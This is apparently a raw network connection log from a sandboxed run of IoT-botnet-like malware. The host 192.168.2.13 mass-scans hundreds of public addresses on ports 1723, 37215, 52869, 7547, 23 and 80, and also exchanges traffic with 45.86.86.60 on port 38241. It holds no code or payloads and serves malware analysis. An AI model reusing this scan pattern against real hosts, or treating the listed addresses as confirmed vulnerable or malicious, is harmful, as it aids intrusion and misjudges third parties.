Apr 15, 2024 08:51:54.250675917 CEST	4334	1723	192.168.2.13	181.102.144.235
Apr 15, 2024 08:51:54.250680923 CEST	4334	1723	192.168.2.13	181.91.54.13
Apr 15, 2024 08:51:54.250696898 CEST	4334	1723	192.168.2.13	181.144.196.106
Apr 15, 2024 08:51:54.250706911 CEST	4334	1723	192.168.2.13	181.38.114.185
Apr 15, 2024 08:51:54.250710964 CEST	4334	1723	192.168.2.13	181.38.101.156
Apr 15, 2024 08:51:54.250720024 CEST	4334	1723	192.168.2.13	181.157.42.166
Apr 15, 2024 08:51:54.250735998 CEST	4334	1723	192.168.2.13	181.244.78.152
Apr 15, 2024 08:51:54.250765085 CEST	4334	1723	192.168.2.13	181.159.18.94
Apr 15, 2024 08:51:54.250766993 CEST	4334	1723	192.168.2.13	181.45.240.235
Apr 15, 2024 08:51:54.250767946 CEST	4334	1723	192.168.2.13	181.55.247.36
Apr 15, 2024 08:51:54.250785112 CEST	4334	1723	192.168.2.13	181.26.93.2
Apr 15, 2024 08:51:54.250798941 CEST	4334	1723	192.168.2.13	181.248.46.217
Apr 15, 2024 08:51:54.250801086 CEST	4334	1723	192.168.2.13	181.29.108.249
Apr 15, 2024 08:51:54.250803947 CEST	4334	1723	192.168.2.13	181.214.247.252
Apr 15, 2024 08:51:54.250900030 CEST	4334	1723	192.168.2.13	181.8.18.144
Apr 15, 2024 08:51:54.250900984 CEST	4334	1723	192.168.2.13	181.137.200.79
Apr 15, 2024 08:51:54.250910044 CEST	4334	1723	192.168.2.13	181.211.239.230
Apr 15, 2024 08:51:54.250922918 CEST	4334	1723	192.168.2.13	181.124.25.139
Apr 15, 2024 08:51:54.250926971 CEST	4334	1723	192.168.2.13	181.147.239.45
Apr 15, 2024 08:51:54.250931025 CEST	4334	1723	192.168.2.13	181.47.251.70
Apr 15, 2024 08:51:54.250937939 CEST	4334	1723	192.168.2.13	181.93.98.145
Apr 15, 2024 08:51:54.251032114 CEST	4334	1723	192.168.2.13	181.204.250.63
Apr 15, 2024 08:51:54.251051903 CEST	4334	1723	192.168.2.13	181.41.222.70
Apr 15, 2024 08:51:54.251051903 CEST	4334	1723	192.168.2.13	181.235.249.17
Apr 15, 2024 08:51:54.251054049 CEST	4334	1723	192.168.2.13	181.72.194.241
Apr 15, 2024 08:51:54.251061916 CEST	4334	1723	192.168.2.13	181.211.204.144
Apr 15, 2024 08:51:54.251074076 CEST	4334	1723	192.168.2.13	181.118.104.5
Apr 15, 2024 08:51:54.251081944 CEST	4334	1723	192.168.2.13	181.152.42.24
Apr 15, 2024 08:51:54.251091957 CEST	4334	1723	192.168.2.13	181.227.18.208
Apr 15, 2024 08:51:54.251271009 CEST	4334	1723	192.168.2.13	181.31.194.35
Apr 15, 2024 08:51:54.251274109 CEST	4334	1723	192.168.2.13	181.209.10.191
Apr 15, 2024 08:51:54.251274109 CEST	4334	1723	192.168.2.13	181.127.104.229
Apr 15, 2024 08:51:54.251282930 CEST	4334	1723	192.168.2.13	181.42.58.212
Apr 15, 2024 08:51:54.251291037 CEST	4334	1723	192.168.2.13	181.106.119.165
Apr 15, 2024 08:51:54.251306057 CEST	4334	1723	192.168.2.13	181.49.76.31
Apr 15, 2024 08:51:54.251308918 CEST	4334	1723	192.168.2.13	181.75.216.84
Apr 15, 2024 08:51:54.251315117 CEST	4334	1723	192.168.2.13	181.31.147.56
Apr 15, 2024 08:51:54.251405954 CEST	4334	1723	192.168.2.13	181.144.120.144
Apr 15, 2024 08:51:54.251416922 CEST	4334	1723	192.168.2.13	181.178.168.61
Apr 15, 2024 08:51:54.251420021 CEST	4334	1723	192.168.2.13	181.254.72.254
Apr 15, 2024 08:51:54.251446009 CEST	4334	1723	192.168.2.13	181.125.84.133
Apr 15, 2024 08:51:54.251449108 CEST	4334	1723	192.168.2.13	181.82.186.217
Apr 15, 2024 08:51:54.251450062 CEST	4334	1723	192.168.2.13	181.13.207.255
Apr 15, 2024 08:51:54.251456022 CEST	4334	1723	192.168.2.13	181.3.177.11
Apr 15, 2024 08:51:54.251562119 CEST	4334	1723	192.168.2.13	181.222.129.128
Apr 15, 2024 08:51:54.251569986 CEST	4334	1723	192.168.2.13	181.74.226.159
Apr 15, 2024 08:51:54.251588106 CEST	4334	1723	192.168.2.13	181.71.165.127
Apr 15, 2024 08:51:54.251593113 CEST	4334	1723	192.168.2.13	181.67.149.185
Apr 15, 2024 08:51:54.251593113 CEST	4334	1723	192.168.2.13	181.24.150.252
Apr 15, 2024 08:51:54.251605988 CEST	4334	1723	192.168.2.13	181.194.45.151
Apr 15, 2024 08:51:54.251609087 CEST	4334	1723	192.168.2.13	181.235.141.186
Apr 15, 2024 08:51:54.251609087 CEST	4334	1723	192.168.2.13	181.220.128.117
Apr 15, 2024 08:51:54.251712084 CEST	4334	1723	192.168.2.13	181.89.194.251
Apr 15, 2024 08:51:54.251712084 CEST	4334	1723	192.168.2.13	181.114.106.19
Apr 15, 2024 08:51:54.251727104 CEST	4334	1723	192.168.2.13	181.11.103.195
Apr 15, 2024 08:51:54.251730919 CEST	4334	1723	192.168.2.13	181.166.92.40
Apr 15, 2024 08:51:54.251745939 CEST	4334	1723	192.168.2.13	181.197.252.244
Apr 15, 2024 08:51:54.251750946 CEST	4334	1723	192.168.2.13	181.148.121.94
Apr 15, 2024 08:51:54.251758099 CEST	4334	1723	192.168.2.13	181.130.8.181
Apr 15, 2024 08:51:54.251857042 CEST	4334	1723	192.168.2.13	181.243.236.90
Apr 15, 2024 08:51:54.251857042 CEST	4334	1723	192.168.2.13	181.231.225.124
Apr 15, 2024 08:51:54.251876116 CEST	4334	1723	192.168.2.13	181.114.134.132
Apr 15, 2024 08:51:54.251884937 CEST	4334	1723	192.168.2.13	181.86.53.65
Apr 15, 2024 08:51:54.251884937 CEST	4334	1723	192.168.2.13	181.85.75.36
Apr 15, 2024 08:51:54.251884937 CEST	4334	1723	192.168.2.13	181.180.93.108
Apr 15, 2024 08:51:54.251904964 CEST	4334	1723	192.168.2.13	181.128.85.224
Apr 15, 2024 08:51:54.251995087 CEST	4334	1723	192.168.2.13	181.103.59.119
Apr 15, 2024 08:51:54.252017021 CEST	4334	1723	192.168.2.13	181.182.189.142
Apr 15, 2024 08:51:54.252017021 CEST	4334	1723	192.168.2.13	181.253.126.19
Apr 15, 2024 08:51:54.252033949 CEST	4334	1723	192.168.2.13	181.4.71.205
Apr 15, 2024 08:51:54.252033949 CEST	4334	1723	192.168.2.13	181.40.77.57
Apr 15, 2024 08:51:54.252033949 CEST	4334	1723	192.168.2.13	181.26.198.42
Apr 15, 2024 08:51:54.252089977 CEST	4334	1723	192.168.2.13	181.202.153.248
Apr 15, 2024 08:51:54.252146006 CEST	4334	1723	192.168.2.13	181.115.65.96
Apr 15, 2024 08:51:54.252146006 CEST	4334	1723	192.168.2.13	181.62.178.25
Apr 15, 2024 08:51:54.252156973 CEST	4334	1723	192.168.2.13	181.38.90.242
Apr 15, 2024 08:51:54.252173901 CEST	4334	1723	192.168.2.13	181.79.146.4
Apr 15, 2024 08:51:54.252173901 CEST	4334	1723	192.168.2.13	181.45.88.224
Apr 15, 2024 08:51:54.252180099 CEST	4334	1723	192.168.2.13	181.50.48.190
Apr 15, 2024 08:51:54.252192020 CEST	4334	1723	192.168.2.13	181.160.114.211
Apr 15, 2024 08:51:54.252201080 CEST	4334	1723	192.168.2.13	181.7.207.188
Apr 15, 2024 08:51:54.252324104 CEST	4334	1723	192.168.2.13	181.111.63.136
Apr 15, 2024 08:51:54.252329111 CEST	4334	1723	192.168.2.13	181.108.156.62
Apr 15, 2024 08:51:54.252331972 CEST	4334	1723	192.168.2.13	181.79.230.197
Apr 15, 2024 08:51:54.252343893 CEST	4334	1723	192.168.2.13	181.224.159.33
Apr 15, 2024 08:51:54.252350092 CEST	4334	1723	192.168.2.13	181.159.204.223
Apr 15, 2024 08:51:54.252368927 CEST	4334	1723	192.168.2.13	181.130.195.27
Apr 15, 2024 08:51:54.252402067 CEST	4334	1723	192.168.2.13	181.207.159.123
Apr 15, 2024 08:51:54.252405882 CEST	4334	1723	192.168.2.13	181.119.49.144
Apr 15, 2024 08:51:54.252413034 CEST	4334	1723	192.168.2.13	181.226.161.157
Apr 15, 2024 08:51:54.252418995 CEST	4334	1723	192.168.2.13	181.196.96.56
Apr 15, 2024 08:51:54.252422094 CEST	4334	1723	192.168.2.13	181.87.75.165
Apr 15, 2024 08:51:54.252425909 CEST	4334	1723	192.168.2.13	181.140.198.33
Apr 15, 2024 08:51:54.252435923 CEST	4334	1723	192.168.2.13	181.57.133.180
Apr 15, 2024 08:51:54.252542973 CEST	4334	1723	192.168.2.13	181.115.72.119
Apr 15, 2024 08:51:54.252542973 CEST	4334	1723	192.168.2.13	181.142.62.72
Apr 15, 2024 08:51:54.252548933 CEST	4334	1723	192.168.2.13	181.132.183.226
Apr 15, 2024 08:51:54.252548933 CEST	4334	1723	192.168.2.13	181.64.238.77
Apr 15, 2024 08:51:54.252567053 CEST	4334	1723	192.168.2.13	181.10.124.108
Apr 15, 2024 08:51:54.252572060 CEST	4334	1723	192.168.2.13	181.112.236.82
Apr 15, 2024 08:51:54.252573967 CEST	4334	1723	192.168.2.13	181.83.160.75
Apr 15, 2024 08:51:54.252584934 CEST	4334	1723	192.168.2.13	181.9.220.230
Apr 15, 2024 08:51:54.252687931 CEST	4334	1723	192.168.2.13	181.44.134.111
Apr 15, 2024 08:51:54.252692938 CEST	4334	1723	192.168.2.13	181.117.118.155
Apr 15, 2024 08:51:54.252692938 CEST	4334	1723	192.168.2.13	181.163.12.210
Apr 15, 2024 08:51:54.252693892 CEST	4334	1723	192.168.2.13	181.121.57.76
Apr 15, 2024 08:51:54.252708912 CEST	4334	1723	192.168.2.13	181.95.239.102
Apr 15, 2024 08:51:54.252708912 CEST	4334	1723	192.168.2.13	181.225.37.243
Apr 15, 2024 08:51:54.252726078 CEST	4334	1723	192.168.2.13	181.171.242.70
Apr 15, 2024 08:51:54.252726078 CEST	4334	1723	192.168.2.13	181.200.194.252
Apr 15, 2024 08:51:54.252842903 CEST	4334	1723	192.168.2.13	181.67.157.48
Apr 15, 2024 08:51:54.252842903 CEST	4334	1723	192.168.2.13	181.144.195.122
Apr 15, 2024 08:51:54.252855062 CEST	4334	1723	192.168.2.13	181.162.143.235
Apr 15, 2024 08:51:54.252855062 CEST	4334	1723	192.168.2.13	181.168.9.220
Apr 15, 2024 08:51:54.252870083 CEST	4334	1723	192.168.2.13	181.251.177.233
Apr 15, 2024 08:51:54.252870083 CEST	4334	1723	192.168.2.13	181.146.122.188
Apr 15, 2024 08:51:54.252885103 CEST	4334	1723	192.168.2.13	181.119.144.61
Apr 15, 2024 08:51:54.252901077 CEST	4334	1723	192.168.2.13	181.172.62.75
Apr 15, 2024 08:51:54.252984047 CEST	4334	1723	192.168.2.13	181.167.191.41
Apr 15, 2024 08:51:54.253002882 CEST	4334	1723	192.168.2.13	181.88.80.224
Apr 15, 2024 08:51:54.253002882 CEST	4334	1723	192.168.2.13	181.45.228.190
Apr 15, 2024 08:51:54.253021955 CEST	4334	1723	192.168.2.13	181.227.167.237
Apr 15, 2024 08:51:54.253022909 CEST	4334	1723	192.168.2.13	181.121.76.251
Apr 15, 2024 08:51:54.253021002 CEST	4334	1723	192.168.2.13	181.79.215.67
Apr 15, 2024 08:51:54.253021002 CEST	4334	1723	192.168.2.13	181.196.9.177
Apr 15, 2024 08:51:54.253132105 CEST	4334	1723	192.168.2.13	181.149.66.102
Apr 15, 2024 08:51:54.253144979 CEST	4334	1723	192.168.2.13	181.67.244.77
Apr 15, 2024 08:51:54.253149986 CEST	4334	1723	192.168.2.13	181.32.242.203
Apr 15, 2024 08:51:54.253151894 CEST	4334	1723	192.168.2.13	181.199.48.129
Apr 15, 2024 08:51:54.253161907 CEST	4334	1723	192.168.2.13	181.164.156.59
Apr 15, 2024 08:51:54.253177881 CEST	4334	1723	192.168.2.13	181.5.249.235
Apr 15, 2024 08:51:54.253272057 CEST	4334	1723	192.168.2.13	181.129.189.221
Apr 15, 2024 08:51:54.253279924 CEST	4334	1723	192.168.2.13	181.119.179.75
Apr 15, 2024 08:51:54.253294945 CEST	4334	1723	192.168.2.13	181.208.245.238
Apr 15, 2024 08:51:54.253295898 CEST	4334	1723	192.168.2.13	181.179.63.220
Apr 15, 2024 08:51:54.253305912 CEST	4334	1723	192.168.2.13	181.220.185.49
Apr 15, 2024 08:51:54.253305912 CEST	4334	1723	192.168.2.13	181.42.116.40
Apr 15, 2024 08:51:54.253319979 CEST	4334	1723	192.168.2.13	181.141.214.6
Apr 15, 2024 08:51:54.253382921 CEST	4334	1723	192.168.2.13	181.33.25.136
Apr 15, 2024 08:51:54.253492117 CEST	4334	1723	192.168.2.13	181.250.114.52
Apr 15, 2024 08:51:54.253494978 CEST	4334	1723	192.168.2.13	181.70.228.229
Apr 15, 2024 08:51:54.253496885 CEST	4334	1723	192.168.2.13	181.147.200.226
Apr 15, 2024 08:51:54.253505945 CEST	4334	1723	192.168.2.13	181.119.33.44
Apr 15, 2024 08:51:54.253513098 CEST	4334	1723	192.168.2.13	181.185.216.2
Apr 15, 2024 08:51:54.253513098 CEST	4334	1723	192.168.2.13	181.72.56.187
Apr 15, 2024 08:51:54.253524065 CEST	4334	1723	192.168.2.13	181.92.39.209
Apr 15, 2024 08:51:54.253526926 CEST	4334	1723	192.168.2.13	181.236.38.48
Apr 15, 2024 08:51:54.253632069 CEST	4334	1723	192.168.2.13	181.238.16.69
Apr 15, 2024 08:51:54.253640890 CEST	4334	1723	192.168.2.13	181.119.234.49
Apr 15, 2024 08:51:54.253640890 CEST	4334	1723	192.168.2.13	181.65.253.143
Apr 15, 2024 08:51:54.253655910 CEST	4334	1723	192.168.2.13	181.45.151.160
Apr 15, 2024 08:51:54.253655910 CEST	4334	1723	192.168.2.13	181.201.35.179
Apr 15, 2024 08:51:54.253674030 CEST	4334	1723	192.168.2.13	181.43.139.68
Apr 15, 2024 08:51:54.253724098 CEST	4334	1723	192.168.2.13	181.37.217.95
Apr 15, 2024 08:51:54.253772020 CEST	4334	1723	192.168.2.13	181.189.249.95
Apr 15, 2024 08:51:54.253782988 CEST	4334	1723	192.168.2.13	181.137.197.207
Apr 15, 2024 08:51:54.253788948 CEST	4334	1723	192.168.2.13	181.118.63.71
Apr 15, 2024 08:51:54.253798008 CEST	4334	1723	192.168.2.13	181.21.136.48
Apr 15, 2024 08:51:54.253807068 CEST	4334	1723	192.168.2.13	181.217.52.160
Apr 15, 2024 08:51:54.253817081 CEST	4334	1723	192.168.2.13	181.218.126.3
Apr 15, 2024 08:51:54.253819942 CEST	4334	1723	192.168.2.13	181.65.121.17
Apr 15, 2024 08:51:54.253849983 CEST	4334	1723	192.168.2.13	181.228.151.15
Apr 15, 2024 08:51:54.253859043 CEST	4334	1723	192.168.2.13	181.59.197.38
Apr 15, 2024 08:51:54.253865957 CEST	4334	1723	192.168.2.13	181.219.179.173
Apr 15, 2024 08:51:54.253876925 CEST	4334	1723	192.168.2.13	181.89.137.229
Apr 15, 2024 08:51:54.253882885 CEST	4334	1723	192.168.2.13	181.188.235.88
Apr 15, 2024 08:51:54.253901958 CEST	4334	1723	192.168.2.13	181.101.195.244
Apr 15, 2024 08:51:54.253901958 CEST	4334	1723	192.168.2.13	181.52.70.80
Apr 15, 2024 08:51:54.253901958 CEST	4334	1723	192.168.2.13	181.27.21.168
Apr 15, 2024 08:51:54.253998041 CEST	4334	1723	192.168.2.13	181.24.229.205
Apr 15, 2024 08:51:54.254004955 CEST	4334	1723	192.168.2.13	181.26.145.8
Apr 15, 2024 08:51:54.254004955 CEST	4334	1723	192.168.2.13	181.235.154.70
Apr 15, 2024 08:51:54.254014969 CEST	4334	1723	192.168.2.13	181.204.193.48
Apr 15, 2024 08:51:54.254035950 CEST	4334	1723	192.168.2.13	181.233.110.197
Apr 15, 2024 08:51:54.254035950 CEST	4334	1723	192.168.2.13	181.250.141.126
Apr 15, 2024 08:51:54.254041910 CEST	4334	1723	192.168.2.13	181.199.77.87
Apr 15, 2024 08:51:54.254147053 CEST	4334	1723	192.168.2.13	181.119.57.156
Apr 15, 2024 08:51:54.254165888 CEST	4334	1723	192.168.2.13	181.215.233.248
Apr 15, 2024 08:51:54.254172087 CEST	4334	1723	192.168.2.13	181.72.104.139
Apr 15, 2024 08:51:54.254172087 CEST	4334	1723	192.168.2.13	181.221.130.93
Apr 15, 2024 08:51:54.254184008 CEST	4334	1723	192.168.2.13	181.9.35.190
Apr 15, 2024 08:51:54.254188061 CEST	4334	1723	192.168.2.13	181.141.63.191
Apr 15, 2024 08:51:54.254286051 CEST	4334	1723	192.168.2.13	181.234.143.51
Apr 15, 2024 08:51:54.254287004 CEST	4334	1723	192.168.2.13	181.138.185.186
Apr 15, 2024 08:51:54.254297018 CEST	4334	1723	192.168.2.13	181.39.198.94
Apr 15, 2024 08:51:54.254306078 CEST	4334	1723	192.168.2.13	181.177.88.217
Apr 15, 2024 08:51:54.254309893 CEST	4334	1723	192.168.2.13	181.159.153.190
Apr 15, 2024 08:51:54.254318953 CEST	4334	1723	192.168.2.13	181.216.165.238
Apr 15, 2024 08:51:54.254339933 CEST	4334	1723	192.168.2.13	181.160.99.101
Apr 15, 2024 08:51:54.254339933 CEST	4334	1723	192.168.2.13	181.139.91.179
Apr 15, 2024 08:51:54.254431963 CEST	4334	1723	192.168.2.13	181.13.134.78
Apr 15, 2024 08:51:54.254436970 CEST	4334	1723	192.168.2.13	181.165.19.168
Apr 15, 2024 08:51:54.254441023 CEST	4334	1723	192.168.2.13	181.200.69.21
Apr 15, 2024 08:51:54.254446030 CEST	4334	1723	192.168.2.13	181.129.33.15
Apr 15, 2024 08:51:54.254451990 CEST	4334	1723	192.168.2.13	181.52.187.238
Apr 15, 2024 08:51:54.254458904 CEST	4334	1723	192.168.2.13	181.121.123.178
Apr 15, 2024 08:51:54.254475117 CEST	4334	1723	192.168.2.13	181.201.243.66
Apr 15, 2024 08:51:54.254585981 CEST	4334	1723	192.168.2.13	181.249.250.26
Apr 15, 2024 08:51:54.254592896 CEST	4334	1723	192.168.2.13	181.190.12.99
Apr 15, 2024 08:51:54.254592896 CEST	4334	1723	192.168.2.13	181.98.75.38
Apr 15, 2024 08:51:54.254612923 CEST	4334	1723	192.168.2.13	181.197.73.243
Apr 15, 2024 08:51:54.254616022 CEST	4334	1723	192.168.2.13	181.117.32.63
Apr 15, 2024 08:51:54.254616976 CEST	4334	1723	192.168.2.13	181.211.160.15
Apr 15, 2024 08:51:54.254616976 CEST	4334	1723	192.168.2.13	181.205.43.170
Apr 15, 2024 08:51:54.254632950 CEST	4334	1723	192.168.2.13	181.79.73.245
Apr 15, 2024 08:51:54.406737089 CEST	7547	6126	34.96.73.109	192.168.2.13
Apr 15, 2024 08:51:54.406801939 CEST	6126	7547	192.168.2.13	34.96.73.109
Apr 15, 2024 08:51:54.406836033 CEST	80	5870	148.135.111.208	192.168.2.13
Apr 15, 2024 08:51:54.441525936 CEST	37215	3566	35.143.42.1	192.168.2.13
Apr 15, 2024 08:51:54.473763943 CEST	1723	4334	181.214.247.252	192.168.2.13
Apr 15, 2024 08:51:54.473901033 CEST	7547	6126	99.240.69.93	192.168.2.13
Apr 15, 2024 08:51:54.480779886 CEST	7547	6126	24.145.121.164	192.168.2.13
Apr 15, 2024 08:51:54.488900900 CEST	1723	4334	181.114.19.200	192.168.2.13
Apr 15, 2024 08:51:54.491080999 CEST	1723	4334	181.79.230.197	192.168.2.13
Apr 15, 2024 08:51:54.501121998 CEST	80	5870	18.177.16.127	192.168.2.13
Apr 15, 2024 08:51:54.501168966 CEST	5870	80	192.168.2.13	18.177.16.127
Apr 15, 2024 08:51:54.505460024 CEST	1723	4334	181.215.149.219	192.168.2.13
Apr 15, 2024 08:51:54.519701004 CEST	1723	4334	181.112.48.133	192.168.2.13
Apr 15, 2024 08:51:54.523763895 CEST	52869	3310	60.67.229.148	192.168.2.13
Apr 15, 2024 08:51:54.525124073 CEST	52869	3310	134.220.254.153	192.168.2.13
Apr 15, 2024 08:51:54.525172949 CEST	3310	52869	192.168.2.13	134.220.254.153
Apr 15, 2024 08:51:54.525763988 CEST	23	4590	193.26.156.180	192.168.2.13
Apr 15, 2024 08:51:54.525809050 CEST	7547	6126	114.39.158.2	192.168.2.13
Apr 15, 2024 08:51:54.534806013 CEST	7547	6126	211.243.32.60	192.168.2.13
Apr 15, 2024 08:51:54.535023928 CEST	23	4590	103.138.195.70	192.168.2.13
Apr 15, 2024 08:51:54.535403967 CEST	1723	4334	181.132.211.145	192.168.2.13
Apr 15, 2024 08:51:54.536400080 CEST	1723	4334	181.52.29.63	192.168.2.13
Apr 15, 2024 08:51:54.537755966 CEST	1723	4334	181.141.214.6	192.168.2.13
Apr 15, 2024 08:51:54.537806034 CEST	80	5870	212.139.78.102	192.168.2.13
Apr 15, 2024 08:51:54.537839890 CEST	5870	80	192.168.2.13	212.139.78.102
Apr 15, 2024 08:51:54.538086891 CEST	80	5870	104.155.84.163	192.168.2.13
Apr 15, 2024 08:51:54.538140059 CEST	5870	80	192.168.2.13	104.155.84.163
Apr 15, 2024 08:51:54.538566113 CEST	23	4590	85.142.143.50	192.168.2.13
Apr 15, 2024 08:51:54.542583942 CEST	1723	4334	181.164.81.21	192.168.2.13
Apr 15, 2024 08:51:54.542659998 CEST	23	4590	60.79.239.244	192.168.2.13
Apr 15, 2024 08:51:54.543965101 CEST	1723	4334	181.164.36.112	192.168.2.13
Apr 15, 2024 08:51:54.544954062 CEST	80	5870	38.181.30.22	192.168.2.13
Apr 15, 2024 08:51:54.544989109 CEST	5870	80	192.168.2.13	38.181.30.22
Apr 15, 2024 08:51:54.545079947 CEST	1723	4334	181.110.204.91	192.168.2.13
Apr 15, 2024 08:51:54.545613050 CEST	52869	3310	153.237.216.92	192.168.2.13
Apr 15, 2024 08:51:54.548645973 CEST	1723	4334	181.19.124.47	192.168.2.13
Apr 15, 2024 08:51:54.548774958 CEST	1723	4334	181.164.155.159	192.168.2.13
Apr 15, 2024 08:51:54.549386978 CEST	52869	3310	200.246.43.162	192.168.2.13
Apr 15, 2024 08:51:54.550165892 CEST	1723	4334	181.165.192.57	192.168.2.13
Apr 15, 2024 08:51:54.552028894 CEST	52869	3310	91.197.1.224	192.168.2.13
Apr 15, 2024 08:51:54.553071022 CEST	1723	4334	181.165.19.168	192.168.2.13
Apr 15, 2024 08:51:54.553083897 CEST	1723	4334	181.221.248.182	192.168.2.13
Apr 15, 2024 08:51:54.553328991 CEST	1723	4334	181.228.72.48	192.168.2.13
Apr 15, 2024 08:51:54.553559065 CEST	80	5870	45.223.232.89	192.168.2.13
Apr 15, 2024 08:51:54.553603888 CEST	5870	80	192.168.2.13	45.223.232.89
Apr 15, 2024 08:51:54.571331978 CEST	1723	4334	181.217.80.217	192.168.2.13
Apr 15, 2024 08:51:54.571365118 CEST	23	4590	196.87.124.127	192.168.2.13
Apr 15, 2024 08:51:54.571376085 CEST	37215	3566	218.16.123.125	192.168.2.13
Apr 15, 2024 08:51:54.571398020 CEST	52869	3310	112.209.54.178	192.168.2.13
Apr 15, 2024 08:51:54.573673964 CEST	38241	40694	45.86.86.60	192.168.2.13
Apr 15, 2024 08:51:54.573730946 CEST	40694	38241	192.168.2.13	45.86.86.60
Apr 15, 2024 08:51:54.573822975 CEST	40694	38241	192.168.2.13	45.86.86.60
Apr 15, 2024 08:51:54.577096939 CEST	7547	6126	191.23.230.156	192.168.2.13
Apr 15, 2024 08:51:54.583079100 CEST	52869	3310	90.137.43.170	192.168.2.13
Apr 15, 2024 08:51:54.585966110 CEST	37215	3566	49.48.79.174	192.168.2.13
Apr 15, 2024 08:51:54.587090015 CEST	80	5870	157.92.28.245	192.168.2.13
Apr 15, 2024 08:51:54.587140083 CEST	5870	80	192.168.2.13	157.92.28.245
Apr 15, 2024 08:51:54.601933002 CEST	1723	4334	181.226.212.83	192.168.2.13
Apr 15, 2024 08:51:54.604764938 CEST	80	5870	175.122.37.110	192.168.2.13
Apr 15, 2024 08:51:54.607455969 CEST	1723	4334	181.121.76.251	192.168.2.13
Apr 15, 2024 08:51:54.635711908 CEST	52869	3310	14.172.167.95	192.168.2.13
Apr 15, 2024 08:51:54.660712004 CEST	1723	4334	181.82.233.179	192.168.2.13
Apr 15, 2024 08:51:54.671672106 CEST	52869	3310	101.65.78.242	192.168.2.13
Apr 15, 2024 08:51:54.686254978 CEST	37215	3566	41.76.201.181	192.168.2.13
Apr 15, 2024 08:51:54.689749002 CEST	1723	4334	181.126.33.103	192.168.2.13
Apr 15, 2024 08:51:54.691195965 CEST	37215	3566	41.175.81.169	192.168.2.13
Apr 15, 2024 08:51:54.702399969 CEST	52869	3310	105.27.205.251	192.168.2.13
Apr 15, 2024 08:51:54.735522985 CEST	1723	4334	181.5.249.235	192.168.2.13
Apr 15, 2024 08:51:54.745177984 CEST	37215	3566	197.128.123.137	192.168.2.13
Apr 15, 2024 08:51:54.767261982 CEST	1723	4334	181.3.114.251	192.168.2.13
Apr 15, 2024 08:51:54.783299923 CEST	23	4590	82.192.33.96	192.168.2.13
Apr 15, 2024 08:51:54.792758942 CEST	1723	4334	181.72.89.108	192.168.2.13
Apr 15, 2024 08:51:54.911792040 CEST	38241	40694	45.86.86.60	192.168.2.13
Apr 15, 2024 08:51:54.911887884 CEST	40694	38241	192.168.2.13	45.86.86.60
Apr 15, 2024 08:51:55.150063992 CEST	1723	4334	181.18.169.73	192.168.2.13
Apr 15, 2024 08:51:55.150118113 CEST	4334	1723	192.168.2.13	181.18.169.73
Apr 15, 2024 08:51:55.159228086 CEST	1723	4334	181.18.169.73	192.168.2.13
Apr 15, 2024 08:51:55.223347902 CEST	3566	37215	192.168.2.13	223.255.35.238
Apr 15, 2024 08:51:55.223347902 CEST	3566	37215	192.168.2.13	157.75.86.162
Apr 15, 2024 08:51:55.223385096 CEST	3566	37215	192.168.2.13	157.44.78.54
Apr 15, 2024 08:51:55.223385096 CEST	3566	37215	192.168.2.13	41.78.139.105
Apr 15, 2024 08:51:55.223414898 CEST	3566	37215	192.168.2.13	151.152.122.162
Apr 15, 2024 08:51:55.223427057 CEST	3566	37215	192.168.2.13	197.255.99.26
Apr 15, 2024 08:51:55.223447084 CEST	3566	37215	192.168.2.13	197.243.34.200
Apr 15, 2024 08:51:55.223459959 CEST	3566	37215	192.168.2.13	197.67.117.245
Apr 15, 2024 08:51:55.223468065 CEST	3566	37215	192.168.2.13	107.124.233.103
Apr 15, 2024 08:51:55.223479986 CEST	3566	37215	192.168.2.13	41.197.245.40
Apr 15, 2024 08:51:55.223493099 CEST	3566	37215	192.168.2.13	41.86.223.16
Apr 15, 2024 08:51:55.223493099 CEST	3566	37215	192.168.2.13	158.59.26.175
Apr 15, 2024 08:51:55.223507881 CEST	3566	37215	192.168.2.13	197.237.77.18
Apr 15, 2024 08:51:55.223526955 CEST	3566	37215	192.168.2.13	157.93.113.246
Apr 15, 2024 08:51:55.223527908 CEST	3566	37215	192.168.2.13	213.251.23.227
Apr 15, 2024 08:51:55.223526955 CEST	3566	37215	192.168.2.13	197.10.189.16
Apr 15, 2024 08:51:55.223526955 CEST	3566	37215	192.168.2.13	162.183.120.199
Apr 15, 2024 08:51:55.223526955 CEST	3566	37215	192.168.2.13	109.193.185.198
Apr 15, 2024 08:51:55.223542929 CEST	3566	37215	192.168.2.13	41.235.86.108
Apr 15, 2024 08:51:55.223547935 CEST	3566	37215	192.168.2.13	197.201.9.57
Apr 15, 2024 08:51:55.223556042 CEST	3566	37215	192.168.2.13	41.219.160.92
Apr 15, 2024 08:51:55.223558903 CEST	3566	37215	192.168.2.13	157.113.110.68
Apr 15, 2024 08:51:55.223565102 CEST	3566	37215	192.168.2.13	44.14.211.13
Apr 15, 2024 08:51:55.223578930 CEST	3566	37215	192.168.2.13	41.57.105.216
Apr 15, 2024 08:51:55.223588943 CEST	3566	37215	192.168.2.13	82.167.255.208
Apr 15, 2024 08:51:55.223592043 CEST	3566	37215	192.168.2.13	41.246.113.119
Apr 15, 2024 08:51:55.223620892 CEST	3566	37215	192.168.2.13	157.105.194.43
Apr 15, 2024 08:51:55.223623991 CEST	3566	37215	192.168.2.13	99.64.233.205
Apr 15, 2024 08:51:55.223637104 CEST	3566	37215	192.168.2.13	197.250.110.235
Apr 15, 2024 08:51:55.223655939 CEST	3566	37215	192.168.2.13	197.185.90.132
Apr 15, 2024 08:51:55.223666906 CEST	3566	37215	192.168.2.13	157.95.31.217
Apr 15, 2024 08:51:55.223668098 CEST	3566	37215	192.168.2.13	197.167.7.209
Apr 15, 2024 08:51:55.223686934 CEST	3566	37215	192.168.2.13	41.56.18.110
Apr 15, 2024 08:51:55.223686934 CEST	3566	37215	192.168.2.13	120.59.29.200
Apr 15, 2024 08:51:55.223695040 CEST	3566	37215	192.168.2.13	157.60.192.152
Apr 15, 2024 08:51:55.223695040 CEST	3566	37215	192.168.2.13	46.98.26.236
Apr 15, 2024 08:51:55.223707914 CEST	3566	37215	192.168.2.13	41.243.27.253
Apr 15, 2024 08:51:55.223728895 CEST	3566	37215	192.168.2.13	197.39.90.182
Apr 15, 2024 08:51:55.223766088 CEST	3566	37215	192.168.2.13	168.143.162.173
Apr 15, 2024 08:51:55.223766088 CEST	3566	37215	192.168.2.13	157.15.253.106
Apr 15, 2024 08:51:55.223798037 CEST	3566	37215	192.168.2.13	84.132.167.54
Apr 15, 2024 08:51:55.223809958 CEST	3566	37215	192.168.2.13	157.73.131.170
Apr 15, 2024 08:51:55.223834991 CEST	3566	37215	192.168.2.13	41.113.76.241
Apr 15, 2024 08:51:55.223838091 CEST	3566	37215	192.168.2.13	41.220.80.152
